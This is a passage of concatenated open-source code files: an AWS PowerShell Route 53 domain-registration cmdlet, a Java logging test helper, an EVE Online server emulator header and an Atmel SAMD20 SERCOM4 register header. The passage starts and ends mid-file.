Amazon.Route53Domains.ContactType requestAdminContact_adminContact_ContactType = null;
if (cmdletContext.AdminContact_ContactType != null)
{
requestAdminContact_adminContact_ContactType = cmdletContext.AdminContact_ContactType;
}
if (requestAdminContact_adminContact_ContactType != null)
{
request.AdminContact.ContactType = requestAdminContact_adminContact_ContactType;
requestAdminContactIsNull = false;
}
Amazon.Route53Domains.CountryCode requestAdminContact_adminContact_CountryCode = null;
if (cmdletContext.AdminContact_CountryCode != null)
{
requestAdminContact_adminContact_CountryCode = cmdletContext.AdminContact_CountryCode;
}
if (requestAdminContact_adminContact_CountryCode != null)
{
request.AdminContact.CountryCode = requestAdminContact_adminContact_CountryCode;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_Email = null;
if (cmdletContext.AdminContact_Email != null)
{
requestAdminContact_adminContact_Email = cmdletContext.AdminContact_Email;
}
if (requestAdminContact_adminContact_Email != null)
{
request.AdminContact.Email = requestAdminContact_adminContact_Email;
requestAdminContactIsNull = false;
}
List<Amazon.Route53Domains.Model.ExtraParam> requestAdminContact_adminContact_ExtraParam = null;
if (cmdletContext.AdminContact_ExtraParam != null)
{
requestAdminContact_adminContact_ExtraParam = cmdletContext.AdminContact_ExtraParam;
}
if (requestAdminContact_adminContact_ExtraParam != null)
{
request.AdminContact.ExtraParams = requestAdminContact_adminContact_ExtraParam;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_Fax = null;
if (cmdletContext.AdminContact_Fax != null)
{
requestAdminContact_adminContact_Fax = cmdletContext.AdminContact_Fax;
}
if (requestAdminContact_adminContact_Fax != null)
{
request.AdminContact.Fax = requestAdminContact_adminContact_Fax;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_FirstName = null;
if (cmdletContext.AdminContact_FirstName != null)
{
requestAdminContact_adminContact_FirstName = cmdletContext.AdminContact_FirstName;
}
if (requestAdminContact_adminContact_FirstName != null)
{
request.AdminContact.FirstName = requestAdminContact_adminContact_FirstName;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_LastName = null;
if (cmdletContext.AdminContact_LastName != null)
{
requestAdminContact_adminContact_LastName = cmdletContext.AdminContact_LastName;
}
if (requestAdminContact_adminContact_LastName != null)
{
request.AdminContact.LastName = requestAdminContact_adminContact_LastName;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_OrganizationName = null;
if (cmdletContext.AdminContact_OrganizationName != null)
{
requestAdminContact_adminContact_OrganizationName = cmdletContext.AdminContact_OrganizationName;
}
if (requestAdminContact_adminContact_OrganizationName != null)
{
request.AdminContact.OrganizationName = requestAdminContact_adminContact_OrganizationName;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_PhoneNumber = null;
if (cmdletContext.AdminContact_PhoneNumber != null)
{
requestAdminContact_adminContact_PhoneNumber = cmdletContext.AdminContact_PhoneNumber;
}
if (requestAdminContact_adminContact_PhoneNumber != null)
{
request.AdminContact.PhoneNumber = requestAdminContact_adminContact_PhoneNumber;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_State = null;
if (cmdletContext.AdminContact_State != null)
{
requestAdminContact_adminContact_State = cmdletContext.AdminContact_State;
}
if (requestAdminContact_adminContact_State != null)
{
request.AdminContact.State = requestAdminContact_adminContact_State;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_ZipCode = null;
if (cmdletContext.AdminContact_ZipCode != null)
{
requestAdminContact_adminContact_ZipCode = cmdletContext.AdminContact_ZipCode;
}
if (requestAdminContact_adminContact_ZipCode != null)
{
request.AdminContact.ZipCode = requestAdminContact_adminContact_ZipCode;
requestAdminContactIsNull = false;
}
// determine if request.AdminContact should be set to null
if (requestAdminContactIsNull)
{
request.AdminContact = null;
}
if (cmdletContext.AutoRenew != null)
{
request.AutoRenew = cmdletContext.AutoRenew.Value;
}
if (cmdletContext.DomainName != null)
{
request.DomainName = cmdletContext.DomainName;
}
if (cmdletContext.DurationInYears != null)
{
request.DurationInYears = cmdletContext.DurationInYears.Value;
}
if (cmdletContext.IdnLangCode != null)
{
request.IdnLangCode = cmdletContext.IdnLangCode;
}
if (cmdletContext.PrivacyProtectAdminContact != null)
{
request.PrivacyProtectAdminContact = cmdletContext.PrivacyProtectAdminContact.Value;
}
if (cmdletContext.PrivacyProtectRegistrantContact != null)
{
request.PrivacyProtectRegistrantContact = cmdletContext.PrivacyProtectRegistrantContact.Value;
}
if (cmdletContext.PrivacyProtectTechContact != null)
{
request.PrivacyProtectTechContact = cmdletContext.PrivacyProtectTechContact.Value;
}
// populate RegistrantContact
var requestRegistrantContactIsNull = true;
request.RegistrantContact = new Amazon.Route53Domains.Model.ContactDetail();
System.String requestRegistrantContact_registrantContact_AddressLine1 = null;
if (cmdletContext.RegistrantContact_AddressLine1 != null)
{
requestRegistrantContact_registrantContact_AddressLine1 = cmdletContext.RegistrantContact_AddressLine1;
}
if (requestRegistrantContact_registrantContact_AddressLine1 != null)
{
request.RegistrantContact.AddressLine1 = requestRegistrantContact_registrantContact_AddressLine1;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_AddressLine2 = null;
if (cmdletContext.RegistrantContact_AddressLine2 != null)
{
requestRegistrantContact_registrantContact_AddressLine2 = cmdletContext.RegistrantContact_AddressLine2;
}
if (requestRegistrantContact_registrantContact_AddressLine2 != null)
{
request.RegistrantContact.AddressLine2 = requestRegistrantContact_registrantContact_AddressLine2;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_City = null;
if (cmdletContext.RegistrantContact_City != null)
{
requestRegistrantContact_registrantContact_City = cmdletContext.RegistrantContact_City;
}
if (requestRegistrantContact_registrantContact_City != null)
{
request.RegistrantContact.City = requestRegistrantContact_registrantContact_City;
requestRegistrantContactIsNull = false;
}
Amazon.Route53Domains.ContactType requestRegistrantContact_registrantContact_ContactType = null;
if (cmdletContext.RegistrantContact_ContactType != null)
{
requestRegistrantContact_registrantContact_ContactType = cmdletContext.RegistrantContact_ContactType;
}
if (requestRegistrantContact_registrantContact_ContactType != null)
{
request.RegistrantContact.ContactType = requestRegistrantContact_registrantContact_ContactType;
requestRegistrantContactIsNull = false;
}
Amazon.Route53Domains.CountryCode requestRegistrantContact_registrantContact_CountryCode = null;
if (cmdletContext.RegistrantContact_CountryCode != null)
{
requestRegistrantContact_registrantContact_CountryCode = cmdletContext.RegistrantContact_CountryCode;
}
if (requestRegistrantContact_registrantContact_CountryCode != null)
{
request.RegistrantContact.CountryCode = requestRegistrantContact_registrantContact_CountryCode;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_Email = null;
if (cmdletContext.RegistrantContact_Email != null)
{
requestRegistrantContact_registrantContact_Email = cmdletContext.RegistrantContact_Email;
}
if (requestRegistrantContact_registrantContact_Email != null)
{
request.RegistrantContact.Email = requestRegistrantContact_registrantContact_Email;
requestRegistrantContactIsNull = false;
}
List<Amazon.Route53Domains.Model.ExtraParam> requestRegistrantContact_registrantContact_ExtraParam = null;
if (cmdletContext.RegistrantContact_ExtraParam != null)
{
requestRegistrantContact_registrantContact_ExtraParam = cmdletContext.RegistrantContact_ExtraParam;
}
if (requestRegistrantContact_registrantContact_ExtraParam != null)
{
request.RegistrantContact.ExtraParams = requestRegistrantContact_registrantContact_ExtraParam;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_Fax = null;
if (cmdletContext.RegistrantContact_Fax != null)
{
requestRegistrantContact_registrantContact_Fax = cmdletContext.RegistrantContact_Fax;
}
if (requestRegistrantContact_registrantContact_Fax != null)
{
request.RegistrantContact.Fax = requestRegistrantContact_registrantContact_Fax;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_FirstName = null;
if (cmdletContext.RegistrantContact_FirstName != null)
{
requestRegistrantContact_registrantContact_FirstName = cmdletContext.RegistrantContact_FirstName;
}
if (requestRegistrantContact_registrantContact_FirstName != null)
{
request.RegistrantContact.FirstName = requestRegistrantContact_registrantContact_FirstName;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_LastName = null;
if (cmdletContext.RegistrantContact_LastName != null)
{
requestRegistrantContact_registrantContact_LastName = cmdletContext.RegistrantContact_LastName;
}
if (requestRegistrantContact_registrantContact_LastName != null)
{
request.RegistrantContact.LastName = requestRegistrantContact_registrantContact_LastName;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_OrganizationName = null;
if (cmdletContext.RegistrantContact_OrganizationName != null)
{
requestRegistrantContact_registrantContact_OrganizationName = cmdletContext.RegistrantContact_OrganizationName;
}
if (requestRegistrantContact_registrantContact_OrganizationName != null)
{
request.RegistrantContact.OrganizationName = requestRegistrantContact_registrantContact_OrganizationName;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_PhoneNumber = null;
if (cmdletContext.RegistrantContact_PhoneNumber != null)
{
requestRegistrantContact_registrantContact_PhoneNumber = cmdletContext.RegistrantContact_PhoneNumber;
}
if (requestRegistrantContact_registrantContact_PhoneNumber != null)
{
request.RegistrantContact.PhoneNumber = requestRegistrantContact_registrantContact_PhoneNumber;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_State = null;
if (cmdletContext.RegistrantContact_State != null)
{
requestRegistrantContact_registrantContact_State = cmdletContext.RegistrantContact_State;
}
if (requestRegistrantContact_registrantContact_State != null)
{
request.RegistrantContact.State = requestRegistrantContact_registrantContact_State;
requestRegistrantContactIsNull = false;
}
System.String requestRegistrantContact_registrantContact_ZipCode = null;
if (cmdletContext.RegistrantContact_ZipCode != null)
{
requestRegistrantContact_registrantContact_ZipCode = cmdletContext.RegistrantContact_ZipCode;
}
if (requestRegistrantContact_registrantContact_ZipCode != null)
{
request.RegistrantContact.ZipCode = requestRegistrantContact_registrantContact_ZipCode;
requestRegistrantContactIsNull = false;
}
// determine if request.RegistrantContact should be set to null
if (requestRegistrantContactIsNull)
{
request.RegistrantContact = null;
}
// populate TechContact
var requestTechContactIsNull = true;
request.TechContact = new Amazon.Route53Domains.Model.ContactDetail();
System.String requestTechContact_techContact_AddressLine1 = null;
if (cmdletContext.TechContact_AddressLine1 != null)
{
requestTechContact_techContact_AddressLine1 = cmdletContext.TechContact_AddressLine1;
}
if (requestTechContact_techContact_AddressLine1 != null)
{
request.TechContact.AddressLine1 = requestTechContact_techContact_AddressLine1;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_AddressLine2 = null;
if (cmdletContext.TechContact_AddressLine2 != null)
{
requestTechContact_techContact_AddressLine2 = cmdletContext.TechContact_AddressLine2;
}
if (requestTechContact_techContact_AddressLine2 != null)
{
request.TechContact.AddressLine2 = requestTechContact_techContact_AddressLine2;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_City = null;
if (cmdletContext.TechContact_City != null)
{
requestTechContact_techContact_City = cmdletContext.TechContact_City;
}
if (requestTechContact_techContact_City != null)
{
request.TechContact.City = requestTechContact_techContact_City;
requestTechContactIsNull = false;
}
Amazon.Route53Domains.ContactType requestTechContact_techContact_ContactType = null;
if (cmdletContext.TechContact_ContactType != null)
{
requestTechContact_techContact_ContactType = cmdletContext.TechContact_ContactType;
}
if (requestTechContact_techContact_ContactType != null)
{
request.TechContact.ContactType = requestTechContact_techContact_ContactType;
requestTechContactIsNull = false;
}
Amazon.Route53Domains.CountryCode requestTechContact_techContact_CountryCode = null;
if (cmdletContext.TechContact_CountryCode != null)
{
requestTechContact_techContact_CountryCode = cmdletContext.TechContact_CountryCode;
}
if (requestTechContact_techContact_CountryCode != null)
{
request.TechContact.CountryCode = requestTechContact_techContact_CountryCode;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_Email = null;
if (cmdletContext.TechContact_Email != null)
{
requestTechContact_techContact_Email = cmdletContext.TechContact_Email;
}
if (requestTechContact_techContact_Email != null)
{
request.TechContact.Email = requestTechContact_techContact_Email;
requestTechContactIsNull = false;
}
List<Amazon.Route53Domains.Model.ExtraParam> requestTechContact_techContact_ExtraParam = null;
if (cmdletContext.TechContact_ExtraParam != null)
{
requestTechContact_techContact_ExtraParam = cmdletContext.TechContact_ExtraParam;
}
if (requestTechContact_techContact_ExtraParam != null)
{
request.TechContact.ExtraParams = requestTechContact_techContact_ExtraParam;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_Fax = null;
if (cmdletContext.TechContact_Fax != null)
{
requestTechContact_techContact_Fax = cmdletContext.TechContact_Fax;
}
if (requestTechContact_techContact_Fax != null)
{
request.TechContact.Fax = requestTechContact_techContact_Fax;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_FirstName = null;
if (cmdletContext.TechContact_FirstName != null)
{
requestTechContact_techContact_FirstName = cmdletContext.TechContact_FirstName;
}
if (requestTechContact_techContact_FirstName != null)
{
request.TechContact.FirstName = requestTechContact_techContact_FirstName;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_LastName = null;
if (cmdletContext.TechContact_LastName != null)
{
requestTechContact_techContact_LastName = cmdletContext.TechContact_LastName;
}
if (requestTechContact_techContact_LastName != null)
{
request.TechContact.LastName = requestTechContact_techContact_LastName;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_OrganizationName = null;
if (cmdletContext.TechContact_OrganizationName != null)
{
requestTechContact_techContact_OrganizationName = cmdletContext.TechContact_OrganizationName;
}
if (requestTechContact_techContact_OrganizationName != null)
{
request.TechContact.OrganizationName = requestTechContact_techContact_OrganizationName;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_PhoneNumber = null;
if (cmdletContext.TechContact_PhoneNumber != null)
{
requestTechContact_techContact_PhoneNumber = cmdletContext.TechContact_PhoneNumber;
}
if (requestTechContact_techContact_PhoneNumber != null)
{
request.TechContact.PhoneNumber = requestTechContact_techContact_PhoneNumber;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_State = null;
if (cmdletContext.TechContact_State != null)
{
requestTechContact_techContact_State = cmdletContext.TechContact_State;
}
if (requestTechContact_techContact_State != null)
{
request.TechContact.State = requestTechContact_techContact_State;
requestTechContactIsNull = false;
}
System.String requestTechContact_techContact_ZipCode = null;
if (cmdletContext.TechContact_ZipCode != null)
{
requestTechContact_techContact_ZipCode = cmdletContext.TechContact_ZipCode;
}
if (requestTechContact_techContact_ZipCode != null)
{
request.TechContact.ZipCode = requestTechContact_techContact_ZipCode;
requestTechContactIsNull = false;
}
// determine if request.TechContact should be set to null
if (requestTechContactIsNull)
{
request.TechContact = null;
}
CmdletOutput output;
// issue call
var client = Client ?? CreateClient(_CurrentCredentials, _RegionEndpoint);
try
{
var response = CallAWSServiceOperation(client, request);
object pipelineOutput = null;
pipelineOutput = cmdletContext.Select(response, this);
output = new CmdletOutput
{
PipelineOutput = pipelineOutput,
ServiceResponse = response
};
}
catch (Exception e)
{
output = new CmdletOutput { ErrorResponse = e };
}
return output;
}
public ExecutorContext CreateContext()
{
return new CmdletContext();
}
#endregion
#region AWS Service Operation Call
private Amazon.Route53Domains.Model.RegisterDomainResponse CallAWSServiceOperation(IAmazonRoute53Domains client, Amazon.Route53Domains.Model.RegisterDomainRequest request)
{
Utils.Common.WriteVerboseEndpointMessage(this, client.Config, "Amazon Route 53 Domains", "RegisterDomain");
try
{
#if DESKTOP
return client.RegisterDomain(request);
#elif CORECLR
return client.RegisterDomainAsync(request).GetAwaiter().GetResult();
#else
#error "Unknown build edition"
#endif
}
catch (AmazonServiceException exc)
{
var webException = exc.InnerException as System.Net.WebException;
if (webException != null)
{
throw new Exception(Utils.Common.FormatNameResolutionFailureMessage(client.Config, webException.Message), webException);
}
throw;
}
}
#endregion
internal partial class CmdletContext : ExecutorContext
{
public System.String AdminContact_AddressLine1 { get; set; }
public System.String AdminContact_AddressLine2 { get; set; }
public System.String AdminContact_City { get; set; }
public Amazon.Route53Domains.ContactType AdminContact_ContactType { get; set; }
public Amazon.Route53Domains.CountryCode AdminContact_CountryCode { get; set; }
public System.String AdminContact_Email { get; set; }
public List<Amazon.Route53Domains.Model.ExtraParam> AdminContact_ExtraParam { get; set; }
public System.String AdminContact_Fax { get; set; }
public System.String AdminContact_FirstName { get; set; }
public System.String AdminContact_LastName { get; set; }
public System.String AdminContact_OrganizationName { get; set; }
public System.String AdminContact_PhoneNumber { get; set; }
public System.String AdminContact_State { get; set; }
public System.String AdminContact_ZipCode { get; set; }
public System.Boolean? AutoRenew { get; set; }
public System.String DomainName { get; set; }
public System.Int32? DurationInYears { get; set; }
public System.String IdnLangCode { get; set; }
public System.Boolean? PrivacyProtectAdminContact { get; set; }
public System.Boolean? PrivacyProtectRegistrantContact { get; set; }
public System.Boolean? PrivacyProtectTechContact { get; set; }
public System.String RegistrantContact_AddressLine1 { get; set; }
public System.String RegistrantContact_AddressLine2 { get; set; }
public System.String RegistrantContact_City { get; set; }
public Amazon.Route53Domains.ContactType RegistrantContact_ContactType { get; set; }
public Amazon.Route53Domains.CountryCode RegistrantContact_CountryCode { get; set; }
public System.String RegistrantContact_Email { get; set; }
public List<Amazon.Route53Domains.Model.ExtraParam> RegistrantContact_ExtraParam { get; set; }
public System.String RegistrantContact_Fax { get; set; }
public System.String RegistrantContact_FirstName { get; set; }
public System.String RegistrantContact_LastName { get; set; }
public System.String RegistrantContact_OrganizationName { get; set; }
public System.String RegistrantContact_PhoneNumber { get; set; }
public System.String RegistrantContact_State { get; set; }
public System.String RegistrantContact_ZipCode { get; set; }
public System.String TechContact_AddressLine1 { get; set; }
public System.String TechContact_AddressLine2 { get; set; }
public System.String TechContact_City { get; set; }
public Amazon.Route53Domains.ContactType TechContact_ContactType { get; set; }
public Amazon.Route53Domains.CountryCode TechContact_CountryCode { get; set; }
public System.String TechContact_Email { get; set; }
public List<Amazon.Route53Domains.Model.ExtraParam> TechContact_ExtraParam { get; set; }
public System.String TechContact_Fax { get; set; }
public System.String TechContact_FirstName { get; set; }
public System.String TechContact_LastName { get; set; }
public System.String TechContact_OrganizationName { get; set; }
public System.String TechContact_PhoneNumber { get; set; }
public System.String TechContact_State { get; set; }
public System.String TechContact_ZipCode { get; set; }
public System.Func<Amazon.Route53Domains.Model.RegisterDomainResponse, RegisterR53DDomainCmdlet, object> Select { get; set; } =
(response, cmdlet) => response.OperationId;
}
}
}
| {
"pile_set_name": "Github"
} |
{
"ver": "1.0.1",
"uuid": "701414e0-36ee-4efb-ad1f-e95a55d44a0b",
"isGroup": false,
"subMetas": {}
} | {
"pile_set_name": "Github"
} |
/*
* Copyright 2014-2015 Groupon, Inc
* Copyright 2014-2015 The Billing Project, LLC
*
* The Billing Project licenses this file to you under the Apache License, version 2.0
* (the "License"); you may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package org.killbill.billing.payment.logging;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.concurrent.Callable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.impl.SimpleLoggerFactory;
import org.slf4j.impl.StaticLoggerBinder;
public class TestLoggingHelper {
public static SpyLogger withSpyLogger(final Class loggingClass, final Callable<Void> callable) throws Exception {
final Logger regularLogger = LoggerFactory.getLogger(loggingClass);
final SpyLogger spyLogger = new SpyLogger(loggingClass.getName());
try {
injectLoggerIntoLoggerFactory(loggingClass, spyLogger);
callable.call();
} finally {
injectLoggerIntoLoggerFactory(loggingClass, regularLogger);
}
return spyLogger;
}
private static void injectLoggerIntoLoggerFactory(final Class loggingClass, final Logger logger) throws Exception {
final SimpleLoggerFactory simpleLoggerFactory = (SimpleLoggerFactory) StaticLoggerBinder.getSingleton().getLoggerFactory();
final Field loggerMapField = SimpleLoggerFactory.class.getDeclaredField("loggerMap");
loggerMapField.setAccessible(true);
final Map loggerMap = (Map) loggerMapField.get(simpleLoggerFactory);
loggerMap.put(loggingClass.getName(), logger);
}
}
| {
"pile_set_name": "Github"
} |
/*
------------------------------------------------------------------------------------
LICENSE:
------------------------------------------------------------------------------------
This file is part of EVEmu: EVE Online Server Emulator
Copyright 2006 - 2016 The EVEmu Team
For the latest information visit http://evemu.org
------------------------------------------------------------------------------------
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU Lesser General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with
this program; if not, write to the Free Software Foundation, Inc., 59 Temple
Place - Suite 330, Boston, MA 02111-1307, USA, or go to
http://www.gnu.org/copyleft/lesser.txt.
------------------------------------------------------------------------------------
Author: Zhur
*/
#ifndef __CORPREGISTRY_SERVICE_H_INCL__
#define __CORPREGISTRY_SERVICE_H_INCL__
#include "corporation/CorporationDB.h"
#include "PyService.h"
class CorpRegistryService
: public PyService
{
public:
CorpRegistryService(PyServiceMgr *mgr);
virtual ~CorpRegistryService();
protected:
class Dispatcher;
Dispatcher *const m_dispatch;
CorporationDB m_db;
//PyCallable_DECL_CALL()
//overloaded in order to support bound objects:
virtual PyBoundObject *_CreateBoundObject(Client *c, const PyRep *bind_args);
};
#endif
| {
"pile_set_name": "Github"
} |
/**
* \file
*
* \brief Instance description for SERCOM4
*
* Copyright (c) 2014 Atmel Corporation. All rights reserved.
*
* \asf_license_start
*
* \page License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The name of Atmel may not be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* 4. This software may only be redistributed and used in connection with an
* Atmel microcontroller product.
*
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* \asf_license_stop
*
*/
#ifndef _SAMD20_SERCOM4_INSTANCE_
#define _SAMD20_SERCOM4_INSTANCE_
/* ========== Register definition for SERCOM4 peripheral ========== */
#if (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__))
#define REG_SERCOM4_I2CM_CTRLA (0x42001800U) /**< \brief (SERCOM4) I2CM Control A */
#define REG_SERCOM4_I2CM_CTRLB (0x42001804U) /**< \brief (SERCOM4) I2CM Control B */
#define REG_SERCOM4_I2CM_DBGCTRL (0x42001808U) /**< \brief (SERCOM4) I2CM Debug Control */
#define REG_SERCOM4_I2CM_BAUD (0x4200180AU) /**< \brief (SERCOM4) I2CM Baud Rate */
#define REG_SERCOM4_I2CM_INTENCLR (0x4200180CU) /**< \brief (SERCOM4) I2CM Interrupt Enable Clear */
#define REG_SERCOM4_I2CM_INTENSET (0x4200180DU) /**< \brief (SERCOM4) I2CM Interrupt Enable Set */
#define REG_SERCOM4_I2CM_INTFLAG (0x4200180EU) /**< \brief (SERCOM4) I2CM Interrupt Flag Status and Clear */
#define REG_SERCOM4_I2CM_STATUS (0x42001810U) /**< \brief (SERCOM4) I2CM Status */
#define REG_SERCOM4_I2CM_ADDR (0x42001814U) /**< \brief (SERCOM4) I2CM Address */
#define REG_SERCOM4_I2CM_DATA (0x42001818U) /**< \brief (SERCOM4) I2CM Data */
#define REG_SERCOM4_I2CS_CTRLA (0x42001800U) /**< \brief (SERCOM4) I2CS Control A */
#define REG_SERCOM4_I2CS_CTRLB (0x42001804U) /**< \brief (SERCOM4) I2CS Control B */
#define REG_SERCOM4_I2CS_INTENCLR (0x4200180CU) /**< \brief (SERCOM4) I2CS Interrupt Enable Clear */
#define REG_SERCOM4_I2CS_INTENSET (0x4200180DU) /**< \brief (SERCOM4) I2CS Interrupt Enable Set */
#define REG_SERCOM4_I2CS_INTFLAG (0x4200180EU) /**< \brief (SERCOM4) I2CS Interrupt Flag Status and Clear */
#define REG_SERCOM4_I2CS_STATUS (0x42001810U) /**< \brief (SERCOM4) I2CS Status */
#define REG_SERCOM4_I2CS_ADDR (0x42001814U) /**< \brief (SERCOM4) I2CS Address */
#define REG_SERCOM4_I2CS_DATA (0x42001818U) /**< \brief (SERCOM4) I2CS Data */
#define REG_SERCOM4_SPI_CTRLA (0x42001800U) /**< \brief (SERCOM4) SPI Control A */
#define REG_SERCOM4_SPI_CTRLB (0x42001804U) /**< \brief (SERCOM4) SPI Control B */
#define REG_SERCOM4_SPI_DBGCTRL (0x42001808U) /**< \brief (SERCOM4) SPI Debug Control */
#define REG_SERCOM4_SPI_BAUD (0x4200180AU) /**< \brief (SERCOM4) SPI Baud Rate */
#define REG_SERCOM4_SPI_INTENCLR (0x4200180CU) /**< \brief (SERCOM4) SPI Interrupt Enable Clear */
#define REG_SERCOM4_SPI_INTENSET (0x4200180DU) /**< \brief (SERCOM4) SPI Interrupt Enable Set */
#define REG_SERCOM4_SPI_INTFLAG (0x4200180EU) /**< \brief (SERCOM4) SPI Interrupt Flag Status and Clear */
#define REG_SERCOM4_SPI_STATUS (0x42001810U) /**< \brief (SERCOM4) SPI Status */
#define REG_SERCOM4_SPI_ADDR (0x42001814U) /**< \brief (SERCOM4) SPI Address */
#define REG_SERCOM4_SPI_DATA (0x42001818U) /**< \brief (SERCOM4) SPI Data */
#define REG_SERCOM4_USART_CTRLA (0x42001800U) /**< \brief (SERCOM4) USART Control A */
#define REG_SERCOM4_USART_CTRLB (0x42001804U) /**< \brief (SERCOM4) USART Control B */
#define REG_SERCOM4_USART_DBGCTRL (0x42001808U) /**< \brief (SERCOM4) USART Debug Control */
#define REG_SERCOM4_USART_BAUD (0x4200180AU) /**< \brief (SERCOM4) USART Baud */
#define REG_SERCOM4_USART_INTENCLR (0x4200180CU) /**< \brief (SERCOM4) USART Interrupt Enable Clear */
#define REG_SERCOM4_USART_INTENSET (0x4200180DU) /**< \brief (SERCOM4) USART Interrupt Enable Set */
#define REG_SERCOM4_USART_INTFLAG (0x4200180EU) /**< \brief (SERCOM4) USART Interrupt Flag Status and Clear */
#define REG_SERCOM4_USART_STATUS (0x42001810U) /**< \brief (SERCOM4) USART Status */
#define REG_SERCOM4_USART_DATA (0x42001818U) /**< \brief (SERCOM4) USART Data */
#else
#define REG_SERCOM4_I2CM_CTRLA (*(RwReg *)0x42001800U) /**< \brief (SERCOM4) I2CM Control A */
#define REG_SERCOM4_I2CM_CTRLB (*(RwReg *)0x42001804U) /**< \brief (SERCOM4) I2CM Control B */
#define REG_SERCOM4_I2CM_DBGCTRL (*(RwReg8 *)0x42001808U) /**< \brief (SERCOM4) I2CM Debug Control */
#define REG_SERCOM4_I2CM_BAUD (*(RwReg16*)0x4200180AU) /**< \brief (SERCOM4) I2CM Baud Rate */
#define REG_SERCOM4_I2CM_INTENCLR (*(RwReg8 *)0x4200180CU) /**< \brief (SERCOM4) I2CM Interrupt Enable Clear */
#define REG_SERCOM4_I2CM_INTENSET (*(RwReg8 *)0x4200180DU) /**< \brief (SERCOM4) I2CM Interrupt Enable Set */
#define REG_SERCOM4_I2CM_INTFLAG (*(RwReg8 *)0x4200180EU) /**< \brief (SERCOM4) I2CM Interrupt Flag Status and Clear */
#define REG_SERCOM4_I2CM_STATUS (*(RwReg16*)0x42001810U) /**< \brief (SERCOM4) I2CM Status */
#define REG_SERCOM4_I2CM_ADDR (*(RwReg8 *)0x42001814U) /**< \brief (SERCOM4) I2CM Address */
#define REG_SERCOM4_I2CM_DATA (*(RwReg8 *)0x42001818U) /**< \brief (SERCOM4) I2CM Data */
#define REG_SERCOM4_I2CS_CTRLA (*(RwReg *)0x42001800U) /**< \brief (SERCOM4) I2CS Control A */
#define REG_SERCOM4_I2CS_CTRLB (*(RwReg *)0x42001804U) /**< \brief (SERCOM4) I2CS Control B */
#define REG_SERCOM4_I2CS_INTENCLR (*(RwReg8 *)0x4200180CU) /**< \brief (SERCOM4) I2CS Interrupt Enable Clear */
#define REG_SERCOM4_I2CS_INTENSET (*(RwReg8 *)0x4200180DU) /**< \brief (SERCOM4) I2CS Interrupt Enable Set */
#define REG_SERCOM4_I2CS_INTFLAG (*(RwReg8 *)0x4200180EU) /**< \brief (SERCOM4) I2CS Interrupt Flag Status and Clear */
#define REG_SERCOM4_I2CS_STATUS (*(RwReg16*)0x42001810U) /**< \brief (SERCOM4) I2CS Status */
#define REG_SERCOM4_I2CS_ADDR (*(RwReg *)0x42001814U) /**< \brief (SERCOM4) I2CS Address */
